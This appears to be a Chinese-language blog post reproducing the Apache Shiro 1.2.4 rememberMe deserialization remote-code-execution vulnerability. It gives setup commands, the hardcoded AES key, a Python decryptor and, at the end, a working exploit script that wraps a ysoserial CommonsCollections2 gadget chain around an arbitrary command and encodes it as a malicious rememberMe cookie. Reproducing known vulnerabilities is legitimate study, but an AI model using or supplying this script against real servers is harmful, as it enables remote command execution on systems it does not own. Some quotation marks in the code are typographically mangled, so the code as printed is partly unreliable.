Apache Shiro 反序列化RCE漏洞

Posted 2020-11-21 挖洞的土拨鼠

漏洞介绍

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• 漏洞类型 ：JAVA反序列化（RCE）
• 影响版本 ：Apache Shiro 1.2.4及其之前版本
• 漏洞评级 ：高危

漏洞分析 #：

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下载漏洞环境：

git clone https://github.com/apache/shiro.git
git checkout shiro-root-1.2.4

工具下载

git　clone https://github.com/frohoff/ysoserial.git
cd ysoserial
mvn package -DskipTests
cp target/ysoserial-0.0.5-SNAPSHOT-all.jar /tmp

该漏洞在传输中使用了AES CBC加密和Base64编码，CookieRememberMemanager.java类中的父类AbstractRememberMeManager中有硬编码秘钥:Base64.decode("kPH+bIxk5D2deZiIxcaaaA==") ,python的解密代码：

# pip install pycrypto
import sys
import base64
from Crypto.Cipher import AES
def decode_rememberme_file(filename):
    with open(filename, ‘rb‘) as fpr:
        key  =  "kPH+bIxk5D2deZiIxcaaaA=="
        mode =  AES.MODE_CBC
        IV   = b‘ ‘ * 16
        encryptor = AES.new(base64.b64decode(key), mode, IV=IV)
        remember_bin = encryptor.decrypt(fpr.read())
    return remember_bin
if __name__ == ‘__main__‘:
    with open("/tmp/decrypt.bin", ‘wb+‘) as fpw:
        fpw.write(decode_rememberme_file(sys.argv[1]))

漏洞序列化的对象是 PrincipalCollection,利用脚本

# pip install pycrypto
import sys
import base64
import uuid
from random import Random
import subprocess
from Crypto.Cipher import AES
 
def encode_rememberme(command):
    popen = subprocess.Popen([‘java‘, ‘-jar‘, ‘ysoserial-0.0.5-SNAPSHOT-all.jar‘, ‘CommonsCollections2‘, command], stdout=subprocess.PIPE)
    BS   = AES.block_size
    pad = lambda s: s + ((BS - len(s) % BS) * chr(BS - len(s) % BS)).encode()
    key  =  "kPH+bIxk5D2deZiIxcaaaA=="
    mode =  AES.MODE_CBC
    iv   =  uuid.uuid4().bytes
    encryptor = AES.new(base64.b64decode(key), mode, iv)
    file_body = pad(popen.stdout.read())
    base64_ciphertext = base64.b64encode(iv + encryptor.encrypt(file_body))
    return base64_ciphertext
 
if __name__ == ‘__main__‘:
    payload = encode_rememberme(sys.argv[1])    
    with open("/tmp/payload.cookie", "w") as fpw:
        print("rememberMe={}".format(payload.decode()), file=fpw)